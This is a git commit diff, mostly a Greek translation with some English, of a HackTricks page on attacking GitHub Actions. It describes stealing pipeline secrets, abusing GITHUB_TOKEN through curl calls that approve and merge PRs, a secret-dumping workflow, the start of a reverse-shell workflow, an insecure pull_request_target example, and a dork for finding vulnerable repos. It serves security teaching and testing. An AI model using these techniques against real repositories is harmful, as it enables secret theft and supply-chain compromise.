mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act
This commit is contained in:
@@ -4,55 +4,55 @@
|
||||
|
||||
## Εργαλεία
|
||||
|
||||
Τα παρακάτω εργαλεία είναι χρήσιμα για να βρείτε ροές εργασίας Github Action και ακόμη και να βρείτε ευάλωτες:
|
||||
The following tools are useful to find Github Action workflows and even find vulnerable ones:
|
||||
|
||||
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
|
||||
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
|
||||
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
|
||||
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
|
||||
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Ελέγξτε επίσης τη λίστα ελέγχου του στο [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
|
||||
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Check also its checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
|
||||
|
||||
## Βασικές Πληροφορίες
|
||||
|
||||
Σε αυτή τη σελίδα θα βρείτε:
|
||||
|
||||
- Μια **σύνοψη όλων των επιπτώσεων** ενός επιτιθέμενου που καταφέρνει να αποκτήσει πρόσβαση σε μια Github Action
|
||||
- Διάφορους τρόπους για να **αποκτήσετε πρόσβαση σε μια action**:
|
||||
- Έχοντας **δικαιώματα** για να δημιουργήσετε την action
|
||||
- Κατάχρηση **triggers** που σχετίζονται με **pull request**
|
||||
- Κατάχρηση **άλλων τεχνικών εξωτερικής πρόσβασης**
|
||||
- **Pivoting** από ένα ήδη συμβιβασμένο repo
|
||||
- Τέλος, μια ενότητα σχετικά με **τεχνικές μετα-εκμετάλλευσης για να καταχραστείτε μια action από μέσα** (λόγω των αναφερόμενων επιπτώσεων)
|
||||
- Μια **περίληψη όλων των επιπτώσεων** όταν ένας επιτιθέμενος καταφέρνει να αποκτήσει πρόσβαση σε ένα Github Action
|
||||
- Διαφορετικοί τρόποι για να **αποκτήσετε πρόσβαση σε ένα action**:
|
||||
- Έχοντας **δικαιώματα** για να δημιουργήσετε το action
|
||||
- Κατάχρηση των trigger που σχετίζονται με **pull request**
|
||||
- Κατάχρηση άλλων τεχνικών **εξωτερικής πρόσβασης**
|
||||
- **Pivoting** από ένα ήδη παραβιασμένο repo
|
||||
- Τέλος, μια ενότητα για **post-exploitation techniques** για την κατάχρηση ενός action από μέσα (για να προκαλέσετε τις αναφερθείσες επιπτώσεις)
|
||||
|
||||
## Σύνοψη Επιπτώσεων
|
||||
## Περίληψη Επιπτώσεων
|
||||
|
||||
Για μια εισαγωγή σχετικά με [**Github Actions ελέγξτε τις βασικές πληροφορίες**](../basic-github-information.md#github-actions).
|
||||
For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
|
||||
|
||||
Εάν μπορείτε να **εκτελέσετε αυθαίρετο κώδικα σε GitHub Actions** εντός ενός **repository**, μπορεί να μπορείτε να:
|
||||
Εάν μπορείτε να **εκτελέσετε αυθαίρετο κώδικα σε GitHub Actions** μέσα σε ένα **repository**, ενδέχεται να μπορείτε να:
|
||||
|
||||
- **Κλέψετε μυστικά** που είναι τοποθετημένα στην pipeline και **καταχραστείτε τα προνόμια της pipeline** για να αποκτήσετε μη εξουσιοδοτημένη πρόσβαση σε εξωτερικές πλατφόρμες, όπως AWS και GCP.
|
||||
- **Συμβιβάσετε αναπτύξεις** και άλλα **artifacts**.
|
||||
- Εάν η pipeline αναπτύσσει ή αποθηκεύει περιουσιακά στοιχεία, θα μπορούσατε να αλλάξετε το τελικό προϊόν, επιτρέποντας μια επίθεση στην αλυσίδα εφοδιασμού.
|
||||
- **Εκτελέσετε κώδικα σε προσαρμοσμένους workers** για να καταχραστείτε την υπολογιστική ισχύ και να μεταβείτε σε άλλα συστήματα.
|
||||
- **Επικαλύψετε τον κώδικα του repository**, ανάλογα με τα δικαιώματα που σχετίζονται με το `GITHUB_TOKEN`.
|
||||
- **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP.
|
||||
- **Compromise deployments** και άλλα **artifacts**.
|
||||
- Αν το pipeline κάνει deploy ή αποθηκεύει assets, θα μπορούσατε να αλλοιώσετε το τελικό προϊόν, επιτρέποντας μια supply chain attack.
|
||||
- **Execute code in custom workers** για να καταχραστείτε υπολογιστική ισχύ και να κάνετε pivot σε άλλα συστήματα.
|
||||
- **Overwrite repository code**, ανάλογα με τα permissions που συνδέονται με το `GITHUB_TOKEN`.
|
||||
|
||||
## GITHUB_TOKEN
|
||||
|
||||
Αυτό το "**μυστικό**" (που προέρχεται από `${{ secrets.GITHUB_TOKEN }}` και `${{ github.token }}`) δίνεται όταν ο διαχειριστής ενεργοποιεί αυτή την επιλογή:
|
||||
This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
|
||||
|
||||
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Αυτό το token είναι το ίδιο που θα χρησιμοποιήσει μια **Github Application**, έτσι μπορεί να έχει πρόσβαση στα ίδια endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
Αυτό το token είναι το ίδιο που θα χρησιμοποιήσει μια **Github Application**, έτσι μπορεί να αποκτήσει πρόσβαση στα ίδια endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
|
||||
> [!WARNING]
|
||||
> Το Github θα πρέπει να κυκλοφορήσει μια [**ροή**](https://github.com/github/roadmap/issues/74) που **επιτρέπει διασυνοριακή** πρόσβαση εντός του GitHub, έτσι ώστε ένα repo να μπορεί να έχει πρόσβαση σε άλλα εσωτερικά repos χρησιμοποιώντας το `GITHUB_TOKEN`.
|
||||
> Το Github πρέπει να κυκλοφορήσει ένα [**flow**](https://github.com/github/roadmap/issues/74) που **επιτρέπει cross-repository** πρόσβαση εντός του GitHub, ώστε ένα repo να μπορεί να αποκτήσει πρόσβαση σε άλλα εσωτερικά repos χρησιμοποιώντας το `GITHUB_TOKEN`.
|
||||
|
||||
Μπορείτε να δείτε τα πιθανά **δικαιώματα** αυτού του token στο: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
Μπορείτε να δείτε τα πιθανά **permissions** αυτού του token στο: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
|
||||
Σημειώστε ότι το token **λήγει μετά την ολοκλήρωση της εργασίας**.\
|
||||
Αυτά τα tokens μοιάζουν με αυτό: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
Σημειώστε ότι το token **λήγει μετά την ολοκλήρωση του job**.\
|
||||
Αυτά τα tokens μοιάζουν έτσι: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
|
||||
Ορισμένα ενδιαφέροντα πράγματα που μπορείτε να κάνετε με αυτό το token:
|
||||
Μερικά ενδιαφέροντα πράγματα που μπορείτε να κάνετε με αυτό το token:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Merge PR" }}
|
||||
@@ -77,7 +77,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
|
||||
-d '{"event":"APPROVE"}'
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="Δημιουργία PR" }}
|
||||
{{#tab name="Create PR" }}
|
||||
```bash
|
||||
# Create a PR
|
||||
curl -X POST \
|
||||
@@ -91,11 +91,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
|
||||
{{#endtabs }}
|
||||
|
||||
> [!CAUTION]
|
||||
> Σημειώστε ότι σε πολλές περιπτώσεις θα μπορείτε να βρείτε **tokens χρηστών github μέσα σε περιβάλλοντα Github Actions ή στα μυστικά**. Αυτά τα tokens μπορεί να σας δώσουν περισσότερα δικαιώματα πάνω στο αποθετήριο και την οργάνωση.
|
||||
> Σημειώστε ότι σε αρκετές περιπτώσεις θα μπορείτε να βρείτε **github user tokens μέσα στα Github Actions envs ή στα secrets**. Αυτά τα tokens μπορεί να σας δώσουν περισσότερα προνόμια πάνω στο repository και την organization.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Λίστα μυστικών στην έξοδο του Github Action</summary>
|
||||
<summary>Λίστα secrets στην έξοδο του Github Action</summary>
|
||||
```yaml
|
||||
name: list_env
|
||||
on:
|
||||
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Λάβετε αντίστροφη θήκη με μυστικά</summary>
|
||||
<summary>Απόκτηση reverse shell με secrets</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
@@ -144,26 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
</details>
|
||||
|
||||
Είναι δυνατόν να ελέγξετε τις άδειες που έχουν δοθεί σε ένα Github Token σε άλλα αποθετήρια χρηστών **ελέγχοντας τα αρχεία καταγραφής** των ενεργειών:
|
||||
Είναι δυνατό να ελεγχθούν τα δικαιώματα που έχει ένα Github Token σε repositories άλλων χρηστών **ελέγχοντας τα logs** των actions:
|
||||
|
||||
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
|
||||
|
||||
## Επιτρεπόμενη Εκτέλεση
|
||||
## Επιτρεπτή Εκτέλεση
|
||||
|
||||
> [!NOTE]
|
||||
> Αυτή θα ήταν η πιο εύκολη μέθοδος για να συμβιβαστούν οι Github actions, καθώς αυτή η περίπτωση υποθέτει ότι έχετε πρόσβαση για **δημιουργία νέου αποθετηρίου στην οργάνωση**, ή έχετε **δικαιώματα εγγραφής σε ένα αποθετήριο**.
|
||||
> Αυτό θα ήταν ο ευκολότερος τρόπος για να compromize τα Github actions, αφού αυτή η περίπτωση προϋποθέτει ότι έχετε πρόσβαση να **create a new repo in the organization**, ή ότι έχετε **write privileges over a repository**.
|
||||
>
|
||||
> Εάν βρίσκεστε σε αυτό το σενάριο, μπορείτε απλά να ελέγξετε τις [Τεχνικές Μετά την Εκμετάλλευση](#post-exploitation-techniques-from-inside-an-action).
|
||||
> Εάν βρίσκεστε σε αυτό το σενάριο μπορείτε απλά να δείτε τα [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
|
||||
|
||||
### Εκτέλεση από Δημιουργία Αποθετηρίου
|
||||
### Εκτέλεση από δημιουργία Repo
|
||||
|
||||
Σε περίπτωση που τα μέλη μιας οργάνωσης μπορούν να **δημιουργήσουν νέα αποθετήρια** και μπορείτε να εκτελέσετε τις github actions, μπορείτε να **δημιουργήσετε ένα νέο αποθετήριο και να κλέψετε τα μυστικά που έχουν οριστεί σε επίπεδο οργάνωσης**.
|
||||
Σε περίπτωση που μέλη μιας organization μπορούν να **create new repos** και εσείς μπορείτε να τρέξετε github actions, μπορείτε να **create a new repo and steal the secrets set at organization level**.
|
||||
|
||||
### Εκτέλεση από Νέο Κλάδο
|
||||
### Εκτέλεση από νέο Branch
|
||||
|
||||
Εάν μπορείτε να **δημιουργήσετε ένα νέο κλάδο σε ένα αποθετήριο που ήδη περιέχει μια ρυθμισμένη Github Action**, μπορείτε να **τροποποιήσετε** αυτήν, **να ανεβάσετε** το περιεχόμενο και στη συνέχεια να **εκτελέσετε αυτήν την ενέργεια από τον νέο κλάδο**. Με αυτόν τον τρόπο μπορείτε να **εξάγετε μυστικά σε επίπεδο αποθετηρίου και οργάνωσης** (αλλά πρέπει να γνωρίζετε πώς ονομάζονται).
|
||||
Αν μπορείτε να **create a new branch in a repository that already contains a Github Action** διαμορφωμένο, μπορείτε να το **modify**, να **upload** το περιεχόμενο, και μετά να **execute that action from the new branch**. Με αυτόν τον τρόπο μπορείτε να **exfiltrate repository and organization level secrets** (αλλά χρειάζεται να ξέρετε πώς ονομάζονται).
|
||||
|
||||
Μπορείτε να κάνετε την τροποποιημένη ενέργεια εκτελέσιμη **χειροκίνητα,** όταν **δημιουργείται ένα PR** ή όταν **ωθείται κάποιος κώδικας** (ανάλογα με το πόσο θόρυβο θέλετε να κάνετε):
|
||||
> [!WARNING]
|
||||
> Οποιος περιορισμός εφαρμόζεται μόνο μέσα στο workflow YAML (για παράδειγμα, `on: push: branches: [main]`, job conditionals, ή manual gates) μπορεί να επεξεργαστεί από collaborators. Χωρίς εξωτερική επιβολή (branch protections, protected environments, and protected tags), ένας contributor μπορεί να στοχεύσει ξανά ένα workflow ώστε να τρέξει στο branch του και να abuse mounted secrets/permissions.
|
||||
|
||||
Μπορείτε να κάνετε την τροποποιημένη action εκτελέσιμη **manually,** όταν δημιουργείται ένα **PR** ή όταν **some code is pushed** (ανάλογα με το πόσο noisy θέλετε να είστε):
|
||||
```yaml
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
@@ -177,49 +180,49 @@ branches:
|
||||
```
|
||||
---
|
||||
|
||||
## Forked Execution
|
||||
## Εκτέλεση σε Fork
|
||||
|
||||
> [!NOTE]
|
||||
> Υπάρχουν διάφοροι ενεργοποιητές που θα μπορούσαν να επιτρέψουν σε έναν επιτιθέμενο να **εκτελέσει μια Github Action από άλλο αποθετήριο**. Εάν αυτές οι ενεργοποιήσιμες ενέργειες είναι κακώς ρυθμισμένες, ένας επιτιθέμενος θα μπορούσε να είναι σε θέση να τις παραβιάσει.
|
||||
> Υπάρχουν διαφορετικοί ενεργοποιητές που θα μπορούσαν να επιτρέψουν σε έναν επιτιθέμενο να **εκτελέσει ένα Github Action ενός άλλου repository**. Εάν αυτές οι ενεργοποιήσιμες ενέργειες είναι κακώς διαμορφωμένες, ένας επιτιθέμενος θα μπορούσε να τις παραβιάσει.
|
||||
|
||||
### `pull_request`
|
||||
|
||||
Ο ενεργοποιητής ροής εργασίας **`pull_request`** θα εκτελεί τη ροή εργασίας κάθε φορά που λαμβάνεται ένα pull request με κάποιες εξαιρέσεις: από προεπιλογή, αν είναι η **πρώτη φορά** που **συνεργάζεστε**, κάποιος **διαχειριστής** θα χρειαστεί να **εγκρίνει** την **εκτέλεση** της ροής εργασίας:
|
||||
Ο ενεργοποιητής workflow **`pull_request`** θα εκτελεί το workflow κάθε φορά που λαμβάνεται ένα pull request με μερικές εξαιρέσεις: από προεπιλογή, αν είναι η **πρώτη φορά** που συνεργάζεστε, κάποιος **συντηρητής** θα χρειαστεί να **εγκρίνει** την **εκτέλεση** του workflow:
|
||||
|
||||
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Καθώς ο **προεπιλεγμένος περιορισμός** ισχύει για **συνεργάτες πρώτης φοράς**, θα μπορούσατε να συμβάλετε **διορθώνοντας ένα έγκυρο σφάλμα/τυπογραφικό λάθος** και στη συνέχεια να στείλετε **άλλα PR για να εκμεταλλευτείτε τα νέα σας δικαιώματα `pull_request`**.
|
||||
> Καθώς ο **προεπιλεγμένος περιορισμός** αφορά συνεργάτες της **πρώτης φοράς**, θα μπορούσατε να συνεισφέρετε διορθώνοντας ένα έγκυρο bug/typo και μετά να στείλετε **άλλα PRs για να κακοποιήσετε τα νέα σας `pull_request` προνόμια**.
|
||||
>
|
||||
> **Το δοκίμασα και δεν λειτουργεί**: ~~Μια άλλη επιλογή θα ήταν να δημιουργήσετε έναν λογαριασμό με το όνομα κάποιου που συνέβαλε στο έργο και διέγραψε τον λογαριασμό του.~~
|
||||
> **Το δοκίμασα και δεν δουλεύει**: ~~Μια άλλη επιλογή θα ήταν να δημιουργήσεις λογαριασμό με το όνομα κάποιου που συνέβαλε στο project και να διαγράψεις τον λογαριασμό του.~~
|
||||
|
||||
Επιπλέον, από προεπιλογή **αποτρέπει τα δικαιώματα εγγραφής** και **την πρόσβαση σε μυστικά** στο στοχευμένο αποθετήριο όπως αναφέρεται στα [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
Επιπλέον, από προεπιλογή **αποτρέπονται δικαιώματα εγγραφής** και **η πρόσβαση σε secrets** στο target repository όπως αναφέρεται στα [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
|
||||
> Με την εξαίρεση του `GITHUB_TOKEN`, **τα μυστικά δεν μεταφέρονται στον εκτελεστή** όταν μια ροή εργασίας ενεργοποιείται από ένα **forked** αποθετήριο. Το **`GITHUB_TOKEN` έχει δικαιώματα μόνο για ανάγνωση** σε pull requests **από forked αποθετήρια**.
|
||||
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να τροποποιήσει τον ορισμό της Github Action προκειμένου να εκτελέσει αυθαίρετα πράγματα και να προσθέσει αυθαίρετες ενέργειες. Ωστόσο, δεν θα είναι σε θέση να κλέψει μυστικά ή να αντικαταστήσει το αποθετήριο λόγω των αναφερόμενων περιορισμών.
|
||||
Ένας επιτιθέμενος μπορεί να τροποποιήσει τον ορισμό του Github Action ώστε να εκτελέσει αυθαίρετες ενέργειες και να προσθέσει αυθαίρετα actions. Ωστόσο, δεν θα καταφέρει να κλέψει secrets ή να αντικαταστήσει το repo λόγω των αναφερόμενων περιορισμών.
|
||||
|
||||
> [!CAUTION]
|
||||
> **Ναι, αν ο επιτιθέμενος αλλάξει στο PR την github action που θα ενεργοποιηθεί, η Github Action του θα είναι αυτή που θα χρησιμοποιηθεί και όχι αυτή από το αρχικό αποθετήριο!**
|
||||
> **Ναι, αν ο επιτιθέμενος αλλάξει στο PR το github action που θα ενεργοποιηθεί, το Github Action του θα είναι αυτό που θα χρησιμοποιηθεί και όχι αυτό από το origin repo!**
|
||||
|
||||
Καθώς ο επιτιθέμενος ελέγχει επίσης τον κώδικα που εκτελείται, ακόμη και αν δεν υπάρχουν μυστικά ή δικαιώματα εγγραφής στο `GITHUB_TOKEN`, ένας επιτιθέμενος θα μπορούσε για παράδειγμα να **ανεβάσει κακόβουλα αρχεία**.
|
||||
Καθώς ο επιτιθέμενος ελέγχει επίσης τον κώδικα που εκτελείται, ακόμα και αν δεν υπάρχουν secrets ή δικαιώματα εγγραφής στο `GITHUB_TOKEN`, ο επιτιθέμενος θα μπορούσε, για παράδειγμα, να **ανεβάσει κακόβουλα artifacts**.
|
||||
|
||||
### **`pull_request_target`**
|
||||
|
||||
Ο ενεργοποιητής ροής εργασίας **`pull_request_target`** έχει **δικαιώματα εγγραφής** στο στοχευμένο αποθετήριο και **πρόσβαση σε μυστικά** (και δεν ζητά άδεια).
|
||||
Ο ενεργοποιητής workflow **`pull_request_target`** έχει **δικαίωμα εγγραφής** στο target repository και **πρόσβαση σε secrets** (και δεν ζητάει έγκριση).
|
||||
|
||||
Σημειώστε ότι ο ενεργοποιητής ροής εργασίας **`pull_request_target`** **εκτελείται στο βασικό πλαίσιο** και όχι σε αυτό που παρέχεται από το PR (για **να μην εκτελούνται μη αξιόπιστοι κώδικες**). Για περισσότερες πληροφορίες σχετικά με το `pull_request_target` [**ελέγξτε τα docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Επιπλέον, για περισσότερες πληροφορίες σχετικά με αυτή τη συγκεκριμένη επικίνδυνη χρήση, ελέγξτε αυτήν την [**ανάρτηση στο blog του github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
Σημειώστε ότι ο ενεργοποιητής workflow **`pull_request_target`** **τρέχει στο base context** και όχι σε αυτό που παρέχεται από το PR (για να **μην εκτελεστεί μη αξιόπιστος κώδικας**). Για περισσότερες πληροφορίες σχετικά με το `pull_request_target` [**διαβάστε τα docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Επιπλέον, για περισσότερες πληροφορίες σχετικά με αυτή την συγκεκριμένη επικίνδυνη χρήση δείτε αυτό το [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
|
||||
Μπορεί να φαίνεται ότι επειδή η **εκτελούμενη ροή εργασίας** είναι αυτή που ορίζεται στη **βάση** και **όχι στο PR**, είναι **ασφαλές** να χρησιμοποιείτε **`pull_request_target`**, αλλά υπάρχουν **μερικές περιπτώσεις όπου δεν είναι**.
|
||||
Μπορεί να φαίνεται ότι επειδή το **εκτελούμενο workflow** είναι αυτό που ορίζεται στο **base** και όχι στο PR, είναι **ασφαλές** να χρησιμοποιείται **`pull_request_target`**, αλλά υπάρχουν μερικές περιπτώσεις όπου δεν είναι.
|
||||
|
||||
Και αυτή θα έχει **πρόσβαση σε μυστικά**.
|
||||
Και αυτό θα έχει **πρόσβαση σε secrets**.
|
||||
|
||||
### `workflow_run`
|
||||
|
||||
Ο ενεργοποιητής [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) επιτρέπει την εκτέλεση μιας ροής εργασίας από μια διαφορετική όταν είναι `completed`, `requested` ή `in_progress`.
|
||||
The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
|
||||
|
||||
Σε αυτό το παράδειγμα, μια ροή εργασίας είναι ρυθμισμένη να εκτελείται μετά την ολοκλήρωση της ξεχωριστής ροής εργασίας "Run Tests":
|
||||
In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
@@ -227,31 +230,31 @@ workflows: [Run Tests]
|
||||
types:
|
||||
- completed
|
||||
```
|
||||
Επιπλέον, σύμφωνα με τα έγγραφα: Η ροή εργασίας που ξεκινά από το γεγονός `workflow_run` είναι ικανή να **πρόσβαση σε μυστικά και να γράψει tokens, ακόμη και αν η προηγούμενη ροή εργασίας δεν ήταν**.
|
||||
Επιπλέον, σύμφωνα με την τεκμηρίωση: Το workflow που ξεκινάται από το συμβάν `workflow_run` μπορεί να **προσπελάσει secrets και να εγγράψει tokens, ακόμη κι αν το προηγούμενο workflow δεν είχε αυτή τη δυνατότητα**.
|
||||
|
||||
Αυτή η ροή εργασίας θα μπορούσε να επιτεθεί αν **εξαρτάται** από μια **ροή εργασίας** που μπορεί να **προκληθεί** από έναν εξωτερικό χρήστη μέσω **`pull_request`** ή **`pull_request_target`**. Μερικά ευάλωτα παραδείγματα μπορούν να [**βρεθούν σε αυτό το blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Το πρώτο αποτελείται από τη ροή εργασίας που προκαλείται από το **`workflow_run`** και κατεβάζει τον κώδικα των επιτιθέμενων: `${{ github.event.pull_request.head.sha }}`\
|
||||
Το δεύτερο αποτελείται από το **να περάσει** ένα **artifact** από τον **μη αξιόπιστο** κώδικα στη ροή εργασίας **`workflow_run`** και να χρησιμοποιήσει το περιεχόμενο αυτού του artifact με τρόπο που το καθιστά **ευάλωτο σε RCE**.
|
||||
Αυτός ο τύπος workflow θα μπορούσε να επιτεθεί αν εξαρτάται από ένα **workflow** που μπορεί να **triggered** από έναν εξωτερικό χρήστη μέσω **`pull_request`** ή **`pull_request_target`**. Μερικά ευάλωτα παραδείγματα μπορούν να [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Το πρώτο αφορά ένα `workflow_run` triggered workflow που κατεβάζει τον κώδικα του επιτιθέμενου: `${{ github.event.pull_request.head.sha }}`\
|
||||
Το δεύτερο αφορά το passing ενός **artifact** από τον **μη αξιόπιστο** κώδικα στο **`workflow_run`** workflow και τη χρήση του περιεχομένου αυτού του artifact με τρόπο που το καθιστά **vulnerable to RCE**.
|
||||
|
||||
### `workflow_call`
|
||||
|
||||
TODO
|
||||
|
||||
TODO: Έλεγχος αν όταν εκτελείται από ένα pull_request ο χρησιμοποιούμενος/κατεβασμένος κώδικας είναι αυτός από την προέλευση ή από το forked PR
|
||||
TODO: Έλεγχος αν όταν εκτελείται από `pull_request` ο χρησιμοποιούμενος/κατεβασμένος κώδικας προέρχεται από το origin ή από το forked PR
|
||||
|
||||
## Κατάχρηση Εκτέλεσης Forked
|
||||
## Κατάχρηση Εκτέλεσης από Fork
|
||||
|
||||
Έχουμε αναφέρει όλους τους τρόπους που ένας εξωτερικός επιτιθέμενος θα μπορούσε να καταφέρει να εκτελέσει μια ροή εργασίας github, τώρα ας ρίξουμε μια ματιά στο πώς αυτές οι εκτελέσεις, αν είναι κακώς ρυθμισμένες, θα μπορούσαν να καταχραστούν:
|
||||
Έχουμε αναφέρει όλους τους τρόπους με τους οποίους ένας εξωτερικός επιτιθέμενος μπορεί να καταφέρει να εκτελέσει ένα github workflow. Ας δούμε τώρα πώς αυτές οι εκτελέσεις, εάν είναι λάθος διαμορφωμένες, μπορούν να καταχραστούν:
|
||||
|
||||
### Εκτέλεση μη αξιόπιστης checkout
|
||||
### Εκτέλεση μη αξιόπιστου checkout
|
||||
|
||||
Στην περίπτωση του **`pull_request`,** η ροή εργασίας θα εκτελείται στο **πλαίσιο του PR** (έτσι θα εκτελέσει τον **κακόβουλο κώδικα του PR**), αλλά κάποιος πρέπει να **το εξουσιοδοτήσει πρώτα** και θα εκτελείται με κάποιους [περιορισμούς](#pull_request).
|
||||
Στην περίπτωση του **`pull_request`,** το workflow θα εκτελεστεί στο **πλαίσιο του PR** (οπότε θα εκτελέσει τον **κακόβουλο κώδικα του PR**), αλλά κάποιος πρέπει να **το εγκρίνει πρώτα** και θα τρέξει με κάποιους [περιορισμούς](#pull_request).
|
||||
|
||||
Στην περίπτωση μιας ροής εργασίας που χρησιμοποιεί **`pull_request_target` ή `workflow_run`** που εξαρτάται από μια ροή εργασίας που μπορεί να προκληθεί από **`pull_request_target` ή `pull_request`** ο κώδικας από το αρχικό repo θα εκτελείται, έτσι ο **επιτιθέμενος δεν μπορεί να ελέγξει τον εκτελούμενο κώδικα**.
|
||||
Σε περίπτωση ενός workflow που χρησιμοποιεί **`pull_request_target` or `workflow_run`** και εξαρτάται από ένα workflow που μπορεί να ενεργοποιηθεί από **`pull_request_target` ή `pull_request`**, ο κώδικας από το αρχικό repo θα εκτελεστεί, οπότε ο **επιτιθέμενος δεν μπορεί να ελέγξει τον εκτελούμενο κώδικα**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Ωστόσο, αν η **ενέργεια** έχει μια **ρητή PR checkout** που θα **πάρε τον κώδικα από το PR** (και όχι από τη βάση), θα χρησιμοποιήσει τον κώδικα που ελέγχεται από τους επιτιθέμενους. Για παράδειγμα (ελέγξτε τη γραμμή 12 όπου ο κώδικας του PR κατεβαίνει):
|
||||
> Ωστόσο, αν η **action** έχει ένα **explicit PR checkout** που θα **πάρει τον κώδικα από το PR** (και όχι από το base), θα χρησιμοποιήσει τον κώδικα που ελέγχεται από τον επιτιθέμενο. Για παράδειγμα (έλεγξε τη γραμμή 12 όπου ο κώδικας του PR κατεβαίνει):
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Παρέχεται μόνο ως παράδειγμα.
|
||||
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
|
||||
on:
|
||||
pull_request_target
|
||||
|
||||
@@ -279,32 +282,32 @@ message: |
|
||||
Thank you!
|
||||
</code></pre>
|
||||
|
||||
Ο δυνητικά **μη αξιόπιστος κώδικας εκτελείται κατά τη διάρκεια του `npm install` ή `npm build`** καθώς τα build scripts και τα αναφερόμενα **πακέτα ελέγχονται από τον συγγραφέα του PR**.
|
||||
Ο πιθανώς **μη αξιόπιστος κώδικας εκτελείται κατά τη διάρκεια των `npm install` ή `npm build`**, καθώς τα build scripts και τα αναφερόμενα **packages ελέγχονται από τον συγγραφέα του PR**.
|
||||
|
||||
> [!WARNING]
|
||||
> Ένας github dork για αναζήτηση ευάλωτων ενεργειών είναι: `event.pull_request pull_request_target extension:yml` ωστόσο, υπάρχουν διάφοροι τρόποι για να ρυθμιστούν οι εργασίες ώστε να εκτελούνται με ασφάλεια ακόμη και αν η ενέργεια είναι ρυθμισμένη ανασφαλώς (όπως η χρήση συνθηκών σχετικά με το ποιος είναι ο ηθοποιός που δημιουργεί το PR).
|
||||
> Ένα github dork για να αναζητήσετε ευάλωτες actions είναι: `event.pull_request pull_request_target extension:yml` ωστόσο, υπάρχουν διαφορετικοί τρόποι να ρυθμίσετε τα jobs ώστε να εκτελούνται με ασφάλεια ακόμα κι αν η action είναι ανασφαλώς διαμορφωμένη (π.χ. χρησιμοποιώντας conditionals σχετικά με το ποιος είναι ο actor που δημιουργεί το PR).
|
||||
|
||||
### Εισβολές Σκηνικών <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
|
||||
